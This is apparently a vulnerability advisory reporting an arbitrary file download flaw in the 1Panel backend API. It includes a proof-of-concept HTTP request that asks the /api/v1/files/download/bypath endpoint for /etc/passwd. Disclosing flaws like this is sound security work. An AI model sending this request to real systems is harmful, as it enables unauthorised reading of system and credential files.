Summary

Any file downloading vulnerability exists in 1Panel backend.

Details

Authenticated attackers can download arbitrary files through the API interface. This code has unauthorized access.

PoC

payload:

POST /api/v1/files/download/bypath HTTP/1.1
Host: ip
Content-Type: application/json

{"path":"/etc/passwd"}

Impact

Attackers can freely download the file content on the target system. This will be caused a large amount of information leakage.